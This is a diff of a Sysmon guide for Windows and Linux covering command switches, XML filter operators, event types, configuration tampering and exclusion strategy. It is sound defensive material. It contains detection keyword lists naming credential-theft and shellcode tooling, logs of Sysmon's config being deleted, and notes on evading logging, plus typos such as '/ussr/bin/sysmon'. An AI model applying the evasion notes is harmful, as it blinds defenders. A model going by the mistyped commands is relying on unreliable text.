-i [configfile path] +``` -## Event Schema +* **-c** : apply config -Under the events element each event that Sysmon generates is defined as an event element. Each event is defined as shown below: +```shell +/usr/bin/sysmon -c [configfile path] +``` -* **name** : Name of event +```bash +/ussr/bin/sysmon -u [force] +``` -* **value** : The EventID for the event +* **-s** : Print schema -* **level** : Event severity level +```shell +/ussr/bin/sysmon -s [schema version] +``` -* **template** : Event manifest template used for the event +* **-accepteula** : Accepts the license agreement -* **ruleName** : Name of rule we filter on +```shell +/ussr/bin/sysmon -accepteula +``` -* **ruledefault** : The default action of a rule if not specified +* **--** : Resets the configuration to the default -* **version** : The version of the event +```shell +/ussr/bin/sysmon -c -- +``` -![Event definition](./media/image11.png) +The option elements under the comment "Configuration file" allow for the configuration of filters and parameters that relate to filters. -We can filter on the Field Names defined in the data elements. They are defined as: +* **-n** : Track network connections for specified process/processes. -* **Name** : Name of filed +```bash +/ussr/bin/sysmon -c -n [] +``` -* **inType** : Type of data received in to the driver -* **outType** : Data type the data is presented as +In the filters element under configuration is the list of operators that can be used to filter against the fields of each event type. -![Fields definition](./media/image12.png) +| **Operator** | **Meaning** +|------------------|------------------------------------------------------ +| is| Exact match. +| is not| Negates and exact match +| is any| Any of the exact values. (values are separate by ";" ) +| contains| The string is contained in any part of the value of the field. +| excludes | Excludes the event from the logic if the event is the value matches +| excludes all| Exclude if all values match. (values are separate by ";" ) +| excludes any | Excludes if any of the values match. (values are separate by ";" ) +| image | Name of the image without the full path. +| begins with | String value starts with the specified string. +| not begins with| String value does not starts with the specified string. +| ends with | String value ends with the specified string. +| not ends with| String value ends with the specified string. +| LessThan | Numeric value is less than +| MoreThan | Numeric value is more than +| Contain Any | Contains any of the values. (values are separate by ";" ) +| Contains All | Contains all of the values. (values are separate by ";" ) -As of the latest version we have defined as event types: +Each of these operators execute against the value in a given field for each of the event types. -* **NetworkConnect** - Network connections made by processes on the system; both TCP and UDP -* **ProcessCreate** - Creation of new processes in the system and information related to the process +Below are practical examples demonstrating how to use each filter operator in Sysmon configurations: -* **FileCreateTime** - File creation time modification and what process is responsible for it -* **ProcessTerminate** - The termination of a process +Matches an exact value. Case-sensitive for strings. -* **ImageLoad** - Loading of any image by another process (OCX, DLL, etc.) with information of the process loading the image and the image itself +```xml + + + + C:\Windows\System32\cmd.exe + + +``` -* **DriverLoad*** - Loading of a driver by the system and its file information -* **DnsQuery** - DNS query performed by a process using Windows API, includes information on the query and the process that performed it +Negates an exact match. Includes events that do NOT match the specified value. -* **ProcessAccess** - Access to a process memory from another process and information on access permission and the processes involved +```xml + + + + C:\Windows\System32\cmd.exe + + +``` -* **RawAccessRead** - Raw access to a file by a process bypassing the file system controls -* **FileCreateStreamHash** - An alternate stream was created and the content of the stream is hashed; information on the process that created the stream is logged +Matches any of the provided exact values. Values are separated by semicolons (;). -* **RegistryEvent** - Logs the creation, deletion, and modification of specific registry keys and values; information on the process that took the action is logged +```xml + + + + 80;443;8080;8443 + + +``` -* **FileCreate** - Information of a file that is created including the process that created the file -* **PipeEvent** - Named Pipe communication between two processes and its relevant information +Matches if the specified string is found anywhere within the field value. Case-insensitive. -* **WmiEvent** - Information on the creation, deletion, and modification of WMI permanent event components in the CIM database +```xml + + + + powershell + + +``` -## Configuration File -The main method of configuration of Sysmon is through the use of XML configuration files. XML configuration files allow for higher flexibility since more filtering options are possible by applying logical operations to the fields that are defined by the schema version for the event types. +Excludes events where the field value matches the specified string. -Previous schemas can be used in newer releases of the binary allowing for upgrading of the binary without the need to update the configuration. The schema is defined on the root element (Sysmon) of the configuration file with the attribute schemaversion. +```xml + + + + \System32\ + + +``` -![config file](./media/image13.png) -We can optionally specify a hashing algorithm with the HashAlgorithms elements. More than one can be specified in this element or all of them using the \* symbol. -The presence of the CheckRevocation element is enough to allow for checking whether a certificate used to sign an image has been revoked. There are three main ways to organize filters with the latest version of Sysmon. +Excludes events only if ALL specified values are present in the field. Values are separated by semicolons (;). -* EventType filters. +```xml + + + + -NoProfile;-ExecutionPolicy Bypass + + +``` -* EvenType Filters organized using RuleGroups -* EventType Filters organized in to Rule sets inside RuleGroups. +Excludes events if ANY of the specified values are present in the field. Values are separated by semicolons (;). -We can have up to two instances of each EventType (one include and one exclude) for the entire configuration, whether or not RuleGroups are used. On SchemaVersion 4.22 and above, the default relation between filters is AND. +```xml + + + + -EncodedCommand;-enc;-e + + +``` -![Rule Order](./media/image14.png) -Below is an example where if the filters match, they are included and placed in the EventLog using an intrinsic AND logic. +Matches only the image name without the full path. This is useful for matching process names regardless of their location. -![Filter](./media/image15.png) +```xml + + + + cmd.exe + + +``` -This type of configuration is only good with Schema 4.22 and above. It is recommended that this is used only for quick tests due the limitation of the AND logic for filters. -### RuleGroups +Matches if the field value starts with the specified string. Case-insensitive. -The RuleGroup element allows for the modification of the logic of the filters and also allows for more complex logic since multiple Rule elements with multiple filters can be created and the logic for the filters can be modified in order to capture actions in a more granular way. +```xml + + + + C:\Users\ + + +``` + + +Matches if the field value does NOT start with the specified string. + +```xml + + + + C:\Windows\ + + +``` + + +Matches if the field value ends with the specified string. Case-insensitive. + +```xml + + + + .exe + + +``` + + +Matches if the field value does NOT end with the specified string. + +```xml + + + + .txt + + +``` + + +Compares numeric values. Matches if the field value is less than the specified number. + +```xml + + + + 1024 + + +``` + + +Compares numeric values. Matches if the field value is greater than the specified number. + +```xml + + + + 49151 + + +``` + + +Matches if the field contains ANY of the specified strings. Values are separated by semicolons (;). + +```xml + + + + Invoke-Mimikatz;Invoke-ReflectivePEInjection;Invoke-Shellcode + + +``` + + +Matches if the field contains ALL of the specified strings. Values are separated by semicolons (;). + +```xml + + + + powershell;-WindowStyle Hidden;-EncodedCommand + + +``` + + +Operators can be combined within a single Rule element to create more complex filtering logic: + +```xml + + + + + powershell.exe + + -EncodedCommand + + C:\Windows\System32\ + + + +``` + + +When using filter operators, be aware that some operators consume more CPU resources than others. The operators that use slightly more resources are: + +* contains +* contains all +* contains any + +For high-performance environments, prefer exact match operators (`is`, `is any`) or path-based operators (`begins with`, `ends with`) when possible. + + +Under the events element each event that Sysmon generates is defined as an event element. Each event is defined as shown below: + +* **name** : Name of event + +* **value** : The EventID for the event + +* **level** : Event severity level + +* **template** : Event manifest template used for the event + +* **ruleName** : Name of rule we filter on + +* **ruledefault** : The default action of a rule if not specified + +* **version** : The version of the event + +![Event definition](./media/image11.png) + +We can filter on the Field Names defined in the data elements. They are defined as: + +* **Name** : Name of filed + +* **inType** : Type of data received in to the driver + +* **outType** : Data type the data is presented as + +![Fields definition](./media/image12.png) + +As of the latest version we have defined as event types, one does need to be aware that not all fields and all event types will apply to both Sysmon fo Windows and Sysmon for Linux: + +* **NetworkConnect** - Network connections made by processes on the system; both TCP and UDP + +* **ProcessCreate** - Creation of new processes in the system and information related to the process + +* **FileCreateTime** - File creation time modification and what process is responsible for it + +* **ProcessTerminate** - The termination of a process + +* **ImageLoad** - Loading of any image by another process (OCX, DLL, etc.) with information of the process loading the image and the image itself + +* **DriverLoad*** - Loading of a driver by the system and its file information + +* **DnsQuery** - DNS query performed by a process using Windows API, includes information on the query and the process that performed it + +* **ProcessAccess** - Access to a process memory from another process and information on access permission and the processes involved + +* **RawAccessRead** - Raw access to a file by a process bypassing the file system controls + +* **FileCreateStreamHash** - An alternate stream was created and the content of the stream is hashed; information on the process that created the stream is logged + +* **RegistryEvent** - Logs the creation, deletion, and modification of specific registry keys and values; information on the process that took the action is logged + +* **FileCreate** - Information of a file that is created including the process that created the file + +* **PipeEvent** - Named Pipe communication between two processes and its relevant information + +* **WmiEvent** - Information on the creation, deletion, and modification of WMI permanent event components in the CIM database + +* **FileDelete** - Saves when possible and logs file deletion or file wipes. + +* **ClipboardChange** - Stores and logs text that is stored in to the clipboard by processes and context of who stored the text. + +* **ProcessTampering** - Detects some of the techniques of "hollow" and "herpaderp" where a process image is replace. + +* **FileDeleteDetected** - Only logs file deletion or file wipes. + + +The main method of configuration of Sysmon is through the use of XML configuration files. XML configuration files allow for higher flexibility since more filtering options are possible by applying logical operations to the fields that are defined by the schema version for the event types. + +Previous schemas can be used in newer releases of the binary allowing for upgrading of the binary without the need to update the configuration. The schema is defined on the root element (Sysmon) of the configuration file with the attribute **schemaversion**. + +![config file](./media/image13.png) + +We can optionally specify a hashing algorithm with the HashAlgorithms elements. More than one can be specified in this element or all of them using the \* symbol. +The presence of the CheckRevocation element is enough to allow for checking whether a certificate used to sign an image has been revoked. There are three main ways to organize filters with the latest version of Sysmon. + +* EventType filters. + +* EvenType Filters organized using RuleGroups + +* EventType Filters organized in to Rule sets inside RuleGroups. + +We can have up to two instances of each EventType (one include and one exclude) for the entire configuration, whether or not RuleGroups are used. On SchemaVersion 4.22 and above, the default relation between filters is AND. + +![Rule Order](./media/image14.png) + +Below is an example where if the filters match, they are included and placed in the EventLog using an intrinsic AND logic. + +![Filter](./media/image15.png) + +This type of configuration is only good with Schema 4.22 and above. It is recommended that this is used only for quick tests due the limitation of the AND logic for filters. + + +The RuleGroup element allows for the modification of the logic of the filters and also allows for more complex logic since multiple Rule elements with multiple filters can be created and the logic for the filters can be modified in order to capture actions in a more granular way. ![](./media/image16.png) @@ -537,9 +1084,6 @@ Rules are processed in the order they are placed in the configuration file. This ![](./media/image17.png) -![RuleGroup Order](./media/image17.png) - -## Configuration File Best Practices It is important to track what a configuration does and keep a changelog. For this reason, it is recommended to add headers to track basic information like changelog, version, sysmon version tested against, etc. @@ -575,7 +1119,6 @@ Since getting stated can be complex, some great resources that serve as starting * Olaf Hartong Sysmon Configuration Modules -### Configuration Tampering One of the actions an attacker takes is the identification of controls and logging on a system. @@ -585,11 +1128,11 @@ Due to initial footprint and safety, most advanced attackers limit their actions * Process list. -* Listing of installed applications from the registry. +* Listing of installed applications from the registry (In the case of Windows). This does not mean that an attacker will not use more advanced methods to enumerate controls and find Sysmon on the system. -Detection of Sysmon is achieved by looking at the areas that cannot be changed. +Detection of Sysmon in Windowss is achieved by looking at the areas that cannot be changed. **Indicator** | **Can it be Changed** ----------------------------| ----------------------- @@ -602,16 +1145,96 @@ Detection of Sysmon is achieved by looking at the areas that cannot be changed. When Sysmon configuration is modified using the Sysmon command line tool, an **EventId 16** is generated. If the registry binary value is modified directly, no event is generated, and configuration is applied as soon as the value is modified. -When a GPO is used to update configuration by default every 90 minutes, the configuration will be updated. A better solution is to use a configuration management solution like DSC that can monitor for changes and update as soon as a change is detected. +On Windows when a GPO is used to update configuration by default every 90 minutes, the configuration will be updated. A better solution is to use a configuration management solution like DSC that can monitor for changes and update as soon as a change is detected. -Sysmon can be configured to monitor its own configuration to detect whether an attacker deletes or alters it. In the event that it is cleared, this will be the last event logged by Sysmon itself from its configured filters. +In the case of Linux a solution like Puppet or Ansible is recommended where the configuration file in **/opt/sysmon/config.xml** and **/opt/sysmon/rules.bin**. +Sysmon can be configured to monitor its own configuration to detect whether an attacker deletes or alters it. In the event that it is cleared, this will be the last event logged by Sysmon itself from its configured filters. ![](./media/image21.png) ![](./media/image22.png) -In case the configurations are cleared, the default one will take over: +In the case of Sysmon for Linux the behavior is the same + +``` + +Event SYSMONEVENT_CREATE_PROCESS + RuleName: - + UtcTime: 2021-10-17 22:30:12.058 + ProcessGuid: {2424faa4-a3f4-616c-e1b4-2270fe550000} + ProcessId: 141030 + Image: /usr/bin/rm + FileVersion: - + Description: - + Product: - + Company: - + OriginalFileName: - + CommandLine: rm /opt/sysmon/rules.bin + CurrentDirectory: /home/carlos/Desktop + User: root + LogonGuid: {2424faa4-0000-0000-0000-000000000000} + LogonId: 0 + TerminalSessionId: 3 + IntegrityLevel: no level + Hashes: - + ParentProcessGuid: {2424faa4-a3f4-616c-d5ab-cd1b11560000} + ParentProcessId: 141029 + ParentImage: /usr/bin/sudo + ParentCommandLine: sudo + ParentUser: carlos +Event SYSMONEVENT_FILE_DELETE + RuleName: - + UtcTime: 2021-10-17 22:30:12.062 + ProcessGuid: {2424faa4-a3f4-616c-e1b4-2270fe550000} + ProcessId: 141030 + User: root + Image: /usr/bin/rm + TargetFilename: /opt/sysmon/rules.bin + Hashes: - + IsExecutable: - + Archived: - +``` + +``` +Event SYSMONEVENT_CREATE_PROCESS + RuleName: - + UtcTime: 2021-10-17 22:30:24.113 + ProcessGuid: {2424faa4-a400-616c-e194-bfcc63550000} + ProcessId: 141036 + Image: /usr/bin/rm + FileVersion: - + Description: - + Product: - + Company: - + OriginalFileName: - + CommandLine: rm /opt/sysmon/config.xml + CurrentDirectory: /home/carlos/Desktop + User: root + LogonGuid: {2424faa4-0000-0000-0000-000000000000} + LogonId: 0 + TerminalSessionId: 3 + IntegrityLevel: no level + Hashes: - + ParentProcessGuid: {2424faa4-a400-616c-d57b-eebae9550000} + ParentProcessId: 141035 + ParentImage: /usr/bin/sudo + ParentCommandLine: sudo + ParentUser: carlos +Event SYSMONEVENT_FILE_DELETE + RuleName: - + UtcTime: 2021-10-17 22:30:24.115 + ProcessGuid: {2424faa4-a400-616c-e194-bfcc63550000} + ProcessId: 141036 + User: root + Image: /usr/bin/rm + TargetFilename: /opt/sysmon/config.xml + Hashes: - + IsExecutable: - + Archived: - +``` + +In case the configurations are cleared, the default one will take over, in the case of Windows: * **ProcessCreation** @@ -623,7 +1246,13 @@ In case the configurations are cleared, the default one will take over: * **SHA1 for Images** -Since any user in the system can read the rule binary data, an attacker can operate around rule configurations once they have read them by: +For Linux the default configuration is: + +* **ProcessCreation** + +* **ProcessTermination** + +In the case of Windows any user in the system can read the rule binary data, an attacker can operate around rule configurations once they have read them by: * Execute tasks not logged. @@ -631,11 +1260,37 @@ Since any user in the system can read the rule binary data, an attacker can oper Existing tools for parsing rules out of the registry break often as Sysmon is updated, since the way the information is structured in the binary blob is not documented. However, an attacker can export and import into the test system and use Sysmon to read the configuration. -## Configuration Deployment +Tools that allow to recover the XML configuration file from the binary blob stored in the registry: + +- https://github.com/thejanit0r/sysmon-bin2xml +- https://github.com/mattifestation/PSSysmonTools + +It is also important to monitor any process that access the Sysmon service process to prevent suspension of the process or modification of it in memory. + +For Linux only the root account can read and modify the the sysmon configuration file and its binary info. But the syslog file on most systems + + +Most environments that have the capabilities to leverage Sysmon enhanced log collection also have software deployment systems like Altiris, System Center Configuration Manager, Desired State Configuration, etc for Windows in the case of Linux we can leverage Ansible, Chef, Puppet and many other solutions. This is why these are just general recommendations. + + +Syslog message size limits are dictated by the syslog transport mapping in use. By default the rsyslog package which is one of the most popular packages in distributions limit the size to 1024 bytes. It is important to prevent parsing errors of the structured data to set max sizes that match the size and transport of the messages configured for your given Syslog package. This is achieved using the **FieldSizes** XML element and setting a size for the CommandLine and Image field sizes. We can specify the field and the length we want for the field like in the example bellow. + +```xml + + CommandLine:100,Image:100 + + + + +``` + +Fields that could benefit of this are: -Most environments that have the capabilities to leverage Sysmon enhanced log collection also have software deployment systems like Altiris, System Center Configuration Manager, Desired State Configuration, etc. This is why these are just general recommendations. +* Image +* ParentImage +* CommandLine +* ParentCommandLine -### Deployment Script On most of these environments, the deployment of Sysmon is managed by using scripts, with PowerShell being the most flexible one. @@ -650,7 +1305,6 @@ An install script should ```PowerShell $DriverName = 'SysmonDrv.sys' $CurrentVersion = '10.41' -# Check if the driver if present $Present = Test-Path -Path "C:\Windows\$($DriverName)" -PathType Leaf if ($Present) { Write-Host -Object "[+] Sysmon was found." -ForegroundColor Green @@ -661,7 +1315,7 @@ if ($Present) { } else { # Execute upgrade process. Write-Host -Object "[-] Sysmon needs upgrade." -ForegroundColor Red - -U + -U -I } } else { @@ -669,7 +1323,6 @@ if ($Present) { } ``` -### GPO Configuration Deployment Group Policy remains one of the most used methods in the enterprise network for the control of configuration setting. @@ -695,133 +1348,49 @@ The following are instructions on how to create a GPO for an existing applied co A WMI filter will ensure only machines with the proper version of Sysmon installed will receive the configuration. -# Sysmon Events Types - -Sysmon extends the collection capabilities of defenders by allowing the collection of specific types of behaviours in to the eventlog so existing solutions that already collect information from the eventlog can easily ingest this new information. - -The table below shows the evet types and event ID for each. - -| EventType| EventId| -|---|---| -|Sysmon Service Status Changed|0 -|ProcessCreate|1 -|FileCreateTime|2 -|NetworkConnect|3 -|Service State Change|4 -|ProcessTerminate|5 -|DriverLoad|6 -|ImageLoad|7 -|CreateRemoteThread| 8 -|RawAccessRead| 9 -|ProcessAccess| 10 -|FileCreate| 11 -|Registry object added or deleted | 12 -|Registry Create| 13 -|Registry Rename| 14 -|FileCreateStreamHash | 15 -|Sysmon Config Change| 16 -|Named Pipe Create| 17 -|Named Pipe Connected|18 -|WMI Event Filter|19 -|WMI Event Consumer|20 -|WMI Consumer to Filter|21 -|DNS Query|22 -|File Delete|23 -|Error|255 - -## Sysmon Operational Events - -Sysmon will generate events for monitoring: - -* Configuration Changes - -* Service State Changes - -* Sysmon Errors - -These events cannot be filtered using Sysmon configuration and will be generated by the sysmon.exe (Default Install) process. - -### Sysmon Config Change - -Sysmon will log an EventID 16 when it updates its configuration. The event will only be generated if the configuration is changed with the Sysmon binary and not a direct change to the registry key. It is recommended that Windows Auditing be configured for the configuration key and a Sysmon filter to capture any attempt at modification outside of the use of the Sysmon binary. - -Fields for the Event: - -* **UtcTime**: Time the configuration was modified. - -* **Configuration**: Path to configuration file or command line of - command used to modify the config. - -* **ConfigurationFileHash**: If a configuration file was used, the - hash of the file. - -Example: Configuration using a XML file. +# Sysmon Events -![XML Config Change](./media/image25.png) - -Example: Configuration via Command Line resetting configuration to -default using the \-- switch. - -![CommanLine config reset](./media/image26.png) - -Example: Configuration via Command Line. Set to monitor module loading -by powershell.exe - -![CommandLine Config Change](./media/image27.png) - -### Sysmon Error Event - -If the Sysmon binary running as a service encounters any error in its operation, it will generate an EventID 255. Some of the cases where this event may be generated are when: - -* The driver fails to load, or an attacker may have unloaded the driver - -* An application or attacker has modified the configuration in a way that cannot be parsed by the service - -Fields for the Event: -#### Known errors +## Process Events -|ID |Description | -|---------------|-------------------------------| -| DriverCommunication |Failed to retrieve events| -| DriverCommunication |Incorrect event size [value]| -| DriverCommunication |Failed to access the driver| -| ServiceThread |Failed to initialize event for dispatch| -| ServiceThread |Failed to initialize the rule engine with data| -| ServiceThread |Failed to initialize signature verification| -| ServiceThread |Failed to allocate [value] bytes| -Example: +Sysmon can log process creation, process termination and process access events. For Windows the process events are captured via ObjRegisterCallbacks at the kernel level using its driver, and contain a unique, deterministically generated ProcessGuid and LogonGuid that are unique to their process instance and LSA logon session respectively. -![Sysmon Error](./media/image28.png) +The ProcessGuid and LoginGuid make tracking individual process and users much easier. The ProcessGuid attribute is used in all events associated with its process, and, unlike a ProcessID, will not be reused by the host system later. The LogonGuid attribute similarly is assigned to a login session of a particular user, and will not be reused later as a LoginID would. +![ProcessGUID Source](./media/image31.png) -### Service State Change +The ProcessGUID depending on the event and where in the process tree it +is, it will also be known by other names by its relation to the action +monitored. -EventID 4 is generated for Service State Changes. This event logs Start and Stop events when the Sysmon service is controlled via the Service Control Manager API (Services.mmc, sc.exe, net.exe, etc.). To better detect any manipulation of the service, Windows Auditing should be enabled for the service registry key and a Sysmon Registry filter for the service. +ProcessGUID is generated by Sysmon when Sysmon logs the event. ProcessGUID +specifically is not an attribute of the internal Windows process data structs +(EPROCESS). Sysmon keeps track of the GUID until the process exits. -Fields for the event are: +In Linux the process for generating the ProcessGuid is similar to Windows with the exception that the hexadecimal value in **/etc/machine-id**, this hexadecimal value is unique per host, it is usually generated from a random source during system installation or first boot and stays constant for all subsequent boots. Optionally, for stateless systems, it is generated during runtime during early boot if necessary. -* **UtcTime**: Time the service state changed. +![Linux ProcessGUID Source](./media/image66.png) -* **State**: Started or Stopped +The ProcessGUIs is referenced in several events under different names. -* **Version**: Version of the Sysmon binary +![ProcessGUID Relation](./media/image32.png) -* **SchemaVersion**: Schema Version of the Sysmon binary. +The only Event Types that will not reference a ProcessGuid or one of its +derived names are -Example: +* WMI events -![stop example](./media/image29.png) +* Kernel Driver Load -![start example](./media/image30.png) +All processes associated to a unique logon session can be mapped using the LogonGuid field. This field is generated using similar values as the ProcessGuid with the exception that instead of a process Id it uses in the case of Windows the Logon Session hexadecimal value and in the case of Linux the Logon Id to generate a unique identifier to match all actions taken. -## Process Events +For Windows -Sysmon can log process creation, process termination and process access events. The process events are captured via ObjRegisterCallbacks at the kernel level using its driver, and contain a unique, deterministically generated ProcessGuid and LogonGuid that are unique to their process instance and LSA logon session respectively. +![LogonGuide Source](./media/image68.png) -The ProcessGuid and LoginGuid make tracking individual process and users much easier. The ProcessGuid attribute is used in all events associated with its process, and, unlike a ProcessID, will not be reused by the host system later. The LogonGuid attirbute similarly is assigned to a login session of a particular user, and will not be reused later as a LoginID would. +For Linux -![ProcessGUID Source](./media/image31.png) +![Linux LogonGuide Source](./media/image67.png) When a user logs onto on a modern version of Windows (Windows 2016/10) they will have 2 Logon IDs assigned if: @@ -833,39 +1402,48 @@ they will have 2 Logon IDs assigned if: These sessions will be linked by a Linked Login ID in Successful Logon Event ID 4624, making the logging of this event important. -The ProcessGUID depending on the event and where in the process tree it -is, it will also be known by other names by its relation to the action -monitored. +The image of the process is also related in other processes and can be +used to track all actions related to a specific one. -ProcessGUID is generated by Sysmon when Sysmon logs the event. ProcessGUID -specifically is not an attribute of the internal Windows process data structs -(EPROCESS). Sysmon keeps track of the GUID until the process exits. +![Image Relation](./media/image33.png) -![ProcessGUID Relation](./media/image32.png) +### Process Creation -The only Event Types that will not reference a ProcessGuid or one of its -derived names are -* WMI events +Sysmon will log **EventID 1** for the creation of any new process when it registers with the kernel. This is arguably the single most important event type that Sysmon provides, and understanding how to configure it effectively is critical for any detection engineering program. -* Kernel Driver Load -The image of the process is also related in other processes and can be -used to track all actions related to a specific one. +Process creation monitoring stands above all other event types in importance for one simple reason: attackers must execute code to accomplish their objectives. Regardless of how an attacker gains initial access - through a phishing email, a web application vulnerability, stolen credentials, or a physical device - they eventually need to run programs on the compromised system. -![Image Relation](./media/image33.png) +Every significant action an attacker takes involves process execution: +* **Initial Access**: Exploits often execute shellcode that spawns a process +* **Persistence**: Backdoors and implants are processes that need to start +* **Credential Dumping**: Tools like Mimikatz must run as processes +* **Discovery**: Enumeration commands like whoami, net user, and ipconfig are all processes +* **Lateral Movement**: Remote execution via PsExec, WMI, or PowerShell creates processes on target systems +* **Collection**: Scripts that search for and gather data run as processes +* **Exfiltration**: Tools that upload data externally are processes +* **Impact**: Ransomware encryption runs as a process -### Process Creation +When you examine the MITRE ATT&CK framework, you will find that process monitoring (specifically command line logging and process creation events) is listed as a primary or supplemental data source for detecting the vast majority of techniques across all tactics. Out of over 600 techniques documented in ATT&CK, process command line parameters are relevant for detecting hundreds of them. No other single data source provides this level of coverage. + +This widespread applicability makes process creation logging the cornerstone of endpoint detection. If you could only enable one Sysmon event type, this would be it. However, this importance comes with a challenge: volume. + + +A typical Windows workstation creates hundreds to thousands of processes per day. Servers, especially domain controllers or application servers, can generate tens of thousands. If you log every single process creation without filtering, you will quickly face several problems: + +* **Storage costs** become significant across hundreds or thousands of endpoints +* **SIEM performance** degrades as millions of events per day are indexed +* **Analyst fatigue** sets in when legitimate detections are buried in normal activity +* **Investigation speed** slows when analysts must sort through massive volumes of logs + +This is why an outlier-based approach is essential for process creation monitoring. -Sysmon will log **EventID 1** for the creation of any new process when -it registers with the kernel. -Sysmon will generate a ProcessGuid and LogonGuid with the information it -obtains and it will hash the process main image. The command line of the -process will be parsed and logged in to eventlog. When storage permits a -common practice is to log all processes and to filter out common day to -day processes for Windows and Applications after profiling usage. +The most effective strategy for process creation logging is to exclude known-good, normal processes and capture everything else - the outliers. This approach flips the problem on its head. Instead of trying to predict what attacks will look like and writing rules to catch them, you define what normal looks like and eliminate it from your logs. What remains is the unusual, the unexpected, and the potentially malicious. + +On Windows, Sysmon will generate a ProcessGuid and LogonGuid with the information it obtains and will hash the process main image. The command line of the process will be parsed and logged. The recommended practice is to start by logging all processes during a baselining period, then progressively add exclusions for common day-to-day processes for Windows and applications after profiling usage in your environment. The fields on a process creation event are: @@ -875,15 +1453,15 @@ The fields on a process creation event are: * **Image** -- Full path of the executable image that was executed. -* **FileVersion** -- File version filed in the image metadata. +* **FileVersion** -- File version filed in the image metadata. (Windows Only) -* **Description** -- Description field in the image metadata. +* **Description** -- Description field in the image metadata.(Windows Only) -* **Product** -- Product field in the image metadata. +* **Product** -- Product field in the image metadata. (Windows Only) -* **Company** - Company field in the image metadata. +* **Company** - Company field in the image metadata. (Windows Only) -* **OriginalFileName** -- Original image name if renamed. +* **OriginalFileName** -- Original image name if renamed. (Windows Only) * **CommandLine** -- Command line that executed the image. @@ -902,7 +1480,7 @@ The fields on a process creation event are: * **IntegrityLevel** - Integrity label assigned to a process * **Hashes** - Full hash of the file with the algorithms in the - HashType field. + HashType field. (Windows Only) * **ParentProcessGuid** - ProcessGUID of the process that spawned/created the main process (child) @@ -915,67 +1493,307 @@ The fields on a process creation event are: * **ParentCommandLine -** Arguments which were passed to the executable associated with the parent process -Sysmon offers an advantage over the regular process logging since it not -only pulls the same information as with **EventID** **4688** but it also -pulls information from the PE header, hashes the images for correlation -with IOC databases like Virus Total and it also provides unique fields -when querying for events. - -### Process Termintation +Sysmon offers an advantage over the regular process logging in Windows since it not only pulls the same information as with **EventID** **4688** but it also pulls information from the PE header, hashes the images for correlation with IOC databases like Virus Total and it also provides unique fields when querying for events. -Symon will log an **EventID 5** when a process terminates. By logging -process termination events allow for calculating duration of operation -of a process by comparing the times with process creation. Process -termination also allows when co-related with shutdown and start events -if a process may have been terminated by an attacker. -The process termination fields are: +The most common mistake when filtering process creation events is creating exclusions that are too broad or too simple. This creates opportunities for attackers to evade detection by mimicking legitimate processes. Consider these principles when building exclusions: -* **RuleName** -- Rule name for which the event triggered. +**Never Exclude by a Single Field**: An exclusion based solely on process name is trivial to bypass. If you exclude "svchost.exe" by name alone, an attacker can simply name their malware "svchost.exe" and it will not be logged. Always use multiple fields in combination. -* **UtcTime** - Time in UTC when event was created +**Use Multiple Criteria Together**: Effective exclusions combine several fields to create a specific signature of the legitimate process: -* **ProcessGuid** - Process Guid of the process that terminated +* **Image (full path) + Hashes**: Exclude a specific executable at a specific location with a specific hash. This is the most secure approach but requires updating exclusions when software updates change file hashes. -* **ProcessId** - Process ID used by the OS to identify the process - that terminated +* **Image + ParentImage**: Exclude a process only when it is launched by a specific parent. For example, excluding "conhost.exe" only when spawned by legitimate system processes. -* **Image** - File path of the executable of the process that - terminated - -### Process Access +* **Image + CommandLine patterns**: Exclude based on both the executable path and expected command line parameters. This catches normal usage while flagging unusual parameters. -When one process opens another, sysmon will log this with an event ID of 10. The access with higher permissions allows for also reading the content of memory, patching memory, process hollowing, creations of threads and other tasks that are abused by attackers. This technique has been used for access to credentials, keys and data that are in the process memory. +* **Image + User**: Exclude certain processes only when run by specific service accounts or system users. -This task is also common for benign processes that query information on another process, such as Task Manager, tasklist.exe and others, this requires that a baseline be established and filtered out at a SIEM level taking into consideration other factors like image fullpath, parent process and account used so as to prevent any whitelisted processes from being used as staging for attacks. +Here are examples of weak versus strong exclusions: -Sysmon generates this event using ObRegisterCallbacks leveraging its -driver. The main 2 filtering fields recommended are: +**Weak Exclusion (Easily Bypassed)**: +```xml + + + + + chrome.exe + + + +``` -* **TargetImage** - File path of the executable being accessed by - another process. +An attacker can bypass this by naming their malware "chrome.exe" or placing it anywhere on disk with that name. -* **GrantedAccess** - The access flags (bitmask) associated with the - process rights requested for the target process +**Strong Exclusion (Specific and Difficult to Bypass)**: +```xml + + + + + C:\Program Files\Google\Chrome\Application\ + Medium + true + + + +``` + +This exclusion requires the process to be in the correct directory, have the correct integrity level, and be signed. An attacker would have difficulty meeting all these criteria. + +**Examples of Well-Structured Exclusions**: + +Excluding Windows Defender scans: +```xml + + C:\ProgramData\Microsoft\Windows Defender\Platform\MpCmdRun.exe + C:\Windows\System32\svchost.exe + +``` + +Excluding legitimate PowerShell executed by management tools: +```xml + + C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + C:\Windows\CCM\CcmExec.exe + +``` + +**What to Commonly Exclude**: After baselining, you will typically find these high-volume, low-value processes can be safely excluded when properly scoped: + +* **System update processes**: Windows Update components, application updaters (when verified by path and signature) +* **Management agents**: SCCM, Tanium, or other endpoint management tools performing expected actions +* **Antivirus scans**: Scheduled scans and routine operations from security tools +* **Backup agents**: Routine backup operations +* **Monitoring tools**: Performance monitoring, inventory tools + +**What to Never Exclude Completely**: Some processes should always be logged because they are commonly abused by attackers: + +* **powershell.exe**: Always log PowerShell, though you may exclude specific parent processes or common administrative scripts +* **cmd.exe**: Command prompt execution should be logged +* **wmic.exe**: WMI command line tool is frequently used in attacks +* **psexec.exe**: Remote execution tool +* **regsvr32.exe**: COM server registration utility frequently abused for code execution +* **rundll32.exe**: DLL loading utility commonly used to execute malicious code +* **mshta.exe**: HTML Application host often used to execute scripts +* **cscript.exe, wscript.exe**: Windows Script Host executables + +**Testing Your Exclusions**: After implementing exclusions, validate that you have not created blind spots. Use tools like Atomic Red Team to safely execute attack simulations in a test environment. For example, test that you still detect: + +* PowerShell launched with encoded commands +* Processes spawned from unusual parents (Word launching cmd.exe) +* Execution from temporary directories +* Processes with unusual command line parameters + +If your simulated attacks no longer generate process creation events, you have excluded too much and created a false negative. + +In Linux the advantage provided by Sysmon is that the data is structured in a way that makes it easier to parse and leverage in a SIEM that ingests the logs. Below is an auditd example of the "ping -c 3 8.8.8.8" command. + +```conf +type=PROCTITLE msg=audit(10/26/2021 12:51:14.046:1385) : proctitle=-bash +type=PATH msg=audit(10/26/2021 12:51:14.046:1385) : item=1 name=/lib64/ld-linux-x86-64.so.2 inode=401163 dev=08:05 mode=file,755 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 